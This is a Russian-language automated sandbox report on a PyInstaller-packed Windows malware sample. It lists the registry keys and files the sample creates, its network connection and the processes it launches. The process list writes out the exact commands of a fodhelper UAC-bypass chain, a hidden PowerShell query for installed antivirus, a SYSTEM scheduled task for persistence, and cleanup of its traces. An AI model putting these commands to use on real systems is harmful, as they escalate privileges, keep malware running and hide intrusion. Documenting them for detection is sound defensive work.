Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\Software\Classes\.pwn\Shell\Open\command] '' = 'cmd.exe /c %WINDIR%\Temp\firewall_update.bat'
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\windowsspotlight
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\_mei32362\vcruntime140.dll
- %TEMP%\_mei32362\_asyncio.pyd
- %TEMP%\_mei32362\_bz2.pyd
- %TEMP%\_mei32362\_cffi_backend.cp312-win_amd64.pyd
- %TEMP%\_mei32362\_ctypes.pyd
- %TEMP%\_mei32362\_decimal.pyd
- %TEMP%\_mei32362\_hashlib.pyd
- %TEMP%\_mei32362\_lzma.pyd
- %TEMP%\_mei32362\_multiprocessing.pyd
- %TEMP%\_mei32362\_overlapped.pyd
- %TEMP%\_mei32362\_queue.pyd
- %TEMP%\_mei32362\_socket.pyd
- %TEMP%\_mei32362\_ssl.pyd
- %TEMP%\_mei32362\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\_mei32362\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\_mei32362\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\_mei32362\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\_mei32362\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\_mei32362\base_library.zip
- %TEMP%\_mei32362\bcrypt\_bcrypt.pyd
- %TEMP%\_mei32362\certifi\cacert.pem
- %TEMP%\_mei32362\charset_normalizer\md.cp312-win_amd64.pyd
- %TEMP%\_mei32362\charset_normalizer\md__mypyc.cp312-win_amd64.pyd
- %TEMP%\_mei32362\cryptography-43.0.3.dist-info\installer
- %TEMP%\_mei32362\cryptography-43.0.3.dist-info\metadata
- %TEMP%\_mei32362\cryptography-43.0.3.dist-info\record
- %TEMP%\_mei32362\cryptography-43.0.3.dist-info\wheel
- %TEMP%\_mei32362\cryptography-43.0.3.dist-info\license_files\license
- %TEMP%\_mei32362\cryptography-43.0.3.dist-info\license_files\license.apache
- %TEMP%\_mei32362\cryptography-43.0.3.dist-info\license_files\license.bsd
- %TEMP%\_mei32362\cryptography\hazmat\bindings\_rust.pyd
- %TEMP%\_mei32362\libcrypto-3.dll
- %TEMP%\_mei32362\libffi-8.dll
- %TEMP%\_mei32362\libssl-3.dll
- %TEMP%\_mei32362\pyexpat.pyd
- %TEMP%\_mei32362\python3.dll
- %TEMP%\_mei32362\python312.dll
- %TEMP%\_mei32362\select.pyd
- %TEMP%\_mei32362\ucrtbase.dll
- %TEMP%\_mei32362\unicodedata.pyd
- %WINDIR%\temp\firewall_update.bat
- %ALLUSERSPROFILE%\microsoft\windows\templates\windowsspotlight.exe
- %WINDIR%\temp\_mei7042\vcruntime140.dll
- %WINDIR%\temp\_mei7042\_asyncio.pyd
- %WINDIR%\temp\_mei7042\_bz2.pyd
- %WINDIR%\temp\_mei7042\_cffi_backend.cp312-win_amd64.pyd
- %WINDIR%\temp\_mei7042\_ctypes.pyd
- %WINDIR%\temp\_mei7042\_decimal.pyd
- %WINDIR%\temp\_mei7042\_hashlib.pyd
- %WINDIR%\temp\_mei7042\_lzma.pyd
- %WINDIR%\temp\_mei7042\_multiprocessing.pyd
- %WINDIR%\temp\_mei7042\_overlapped.pyd
- %WINDIR%\temp\_mei7042\_queue.pyd
- %WINDIR%\temp\_mei7042\_socket.pyd
- %WINDIR%\temp\_mei7042\_ssl.pyd
- %WINDIR%\temp\_mei7042\api-ms-win-core-console-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-core-datetime-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-core-debug-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-core-errorhandling-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-core-file-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-core-file-l1-2-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-core-file-l2-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-core-handle-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-core-heap-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-core-interlocked-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-core-libraryloader-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-core-localization-l1-2-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-core-memory-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-core-namedpipe-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-core-processenvironment-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-core-processthreads-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-core-processthreads-l1-1-1.dll
- %WINDIR%\temp\_mei7042\api-ms-win-core-profile-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-core-rtlsupport-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-core-string-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-core-synch-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-core-synch-l1-2-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-core-sysinfo-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-core-timezone-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-core-util-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-crt-conio-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-crt-convert-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-crt-environment-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-crt-filesystem-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-crt-heap-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-crt-locale-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-crt-math-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-crt-process-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-crt-runtime-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-crt-stdio-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-crt-string-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-crt-time-l1-1-0.dll
- %WINDIR%\temp\_mei7042\api-ms-win-crt-utility-l1-1-0.dll
- %WINDIR%\temp\_mei7042\base_library.zip
- %WINDIR%\temp\_mei7042\bcrypt\_bcrypt.pyd
- %WINDIR%\temp\_mei7042\certifi\cacert.pem
- %WINDIR%\temp\_mei7042\charset_normalizer\md.cp312-win_amd64.pyd
- %WINDIR%\temp\_mei7042\charset_normalizer\md__mypyc.cp312-win_amd64.pyd
- %WINDIR%\temp\_mei7042\cryptography-43.0.3.dist-info\installer
- %WINDIR%\temp\_mei7042\cryptography-43.0.3.dist-info\metadata
- %WINDIR%\temp\_mei7042\cryptography-43.0.3.dist-info\record
- %WINDIR%\temp\_mei7042\cryptography-43.0.3.dist-info\wheel
- %WINDIR%\temp\_mei7042\cryptography-43.0.3.dist-info\license_files\license
- %WINDIR%\temp\_mei7042\cryptography-43.0.3.dist-info\license_files\license.apache
- %WINDIR%\temp\_mei7042\cryptography-43.0.3.dist-info\license_files\license.bsd
- %WINDIR%\temp\_mei7042\cryptography\hazmat\bindings\_rust.pyd
- %WINDIR%\temp\_mei7042\libcrypto-3.dll
- %WINDIR%\temp\_mei7042\libffi-8.dll
- %WINDIR%\temp\_mei7042\libssl-3.dll
- %WINDIR%\temp\_mei7042\pyexpat.pyd
- %WINDIR%\temp\_mei7042\python3.dll
- %WINDIR%\temp\_mei7042\python312.dll
- %WINDIR%\temp\_mei7042\select.pyd
- %WINDIR%\temp\_mei7042\ucrtbase.dll
- %WINDIR%\temp\_mei7042\unicodedata.pyd
Удаляет файлы, которые сам же создал
- <SYSTEM32>\tasks\windowsspotlight
- %WINDIR%\temp\firewall_update.bat
- %TEMP%\_mei32362\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\_mei32362\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\_mei32362\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\_mei32362\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\_mei32362\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\_mei32362\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\_mei32362\base_library.zip
- %TEMP%\_mei32362\bcrypt\_bcrypt.pyd
- %TEMP%\_mei32362\certifi\cacert.pem
- %TEMP%\_mei32362\charset_normalizer\md.cp312-win_amd64.pyd
- %TEMP%\_mei32362\charset_normalizer\md__mypyc.cp312-win_amd64.pyd
- %TEMP%\_mei32362\cryptography\hazmat\bindings\_rust.pyd
- %TEMP%\_mei32362\cryptography-43.0.3.dist-info\installer
- %TEMP%\_mei32362\cryptography-43.0.3.dist-info\license_files\license
- %TEMP%\_mei32362\cryptography-43.0.3.dist-info\license_files\license.apache
- %TEMP%\_mei32362\cryptography-43.0.3.dist-info\license_files\license.bsd
- %TEMP%\_mei32362\cryptography-43.0.3.dist-info\metadata
- %TEMP%\_mei32362\cryptography-43.0.3.dist-info\record
- %TEMP%\_mei32362\cryptography-43.0.3.dist-info\wheel
- %TEMP%\_mei32362\libcrypto-3.dll
- %TEMP%\_mei32362\libffi-8.dll
- %TEMP%\_mei32362\libssl-3.dll
- %TEMP%\_mei32362\pyexpat.pyd
- %TEMP%\_mei32362\python3.dll
- %TEMP%\_mei32362\python312.dll
- %TEMP%\_mei32362\select.pyd
- %TEMP%\_mei32362\ucrtbase.dll
- %TEMP%\_mei32362\unicodedata.pyd
- %TEMP%\_mei32362\vcruntime140.dll
- %TEMP%\_mei32362\_asyncio.pyd
- %TEMP%\_mei32362\_bz2.pyd
- %TEMP%\_mei32362\_cffi_backend.cp312-win_amd64.pyd
- %TEMP%\_mei32362\_ctypes.pyd
- %TEMP%\_mei32362\_decimal.pyd
- %TEMP%\_mei32362\_hashlib.pyd
- %TEMP%\_mei32362\_lzma.pyd
- %TEMP%\_mei32362\_multiprocessing.pyd
- %TEMP%\_mei32362\_overlapped.pyd
- %TEMP%\_mei32362\_queue.pyd
- %TEMP%\_mei32362\_socket.pyd
- %TEMP%\_mei32362\_ssl.pyd
Сетевая активность
Подключается к
- '<LOCALNET>.232.132':8080
Другое
Создает и запускает на исполнение
- '%ALLUSERSPROFILE%\microsoft\windows\templates\windowsspotlight.exe'
Перезапускает анализируемый образец
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "whoami" (со скрытым окном)
- '<SYSTEM32>\whoami.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -ExecutionPolicy Bypass -Command " reg add \"HKEY_CURRENT_USER\Software\Classes\.pwn\Shell\Open\command\" /ve /d \"cmd.exe /c %WINDIR%\Temp\firewall_update.bat\" /f ...
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Classes\.pwn\Shell\Open\command /ve /d "cmd.exe /c %WINDIR%\Temp\firewall_update.bat" /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Classes\ms-settings\CurVer /ve /d .pwn /f
- '<SYSTEM32>\fodhelper.exe' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c %WINDIR%\Temp\firewall_update.bat
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Get-ChildItem -Path '%ALLUSERSPROFILE%\Microsoft\Windows\Templates' -Recurse | Unblock-File"
- '<SYSTEM32>\schtasks.exe' /create /tn "WindowsSpotlight" /tr "%ALLUSERSPROFILE%\Microsoft\Windows\Templates\WindowsSpotlight.exe" /sc onstart /ru SYSTEM /rl highest /f
- '<SYSTEM32>\schtasks.exe' /run /tn "WindowsSpotlight"
- '<SYSTEM32>\schtasks.exe' /delete /tn "WindowsSpotlight" /f
- '<SYSTEM32>\reg.exe' delete HKEY_CURRENT_USER\Software\Classes\.pwn /f
- '<SYSTEM32>\reg.exe' delete HKEY_CURRENT_USER\Software\Classes\ms-settings\CurVer /f
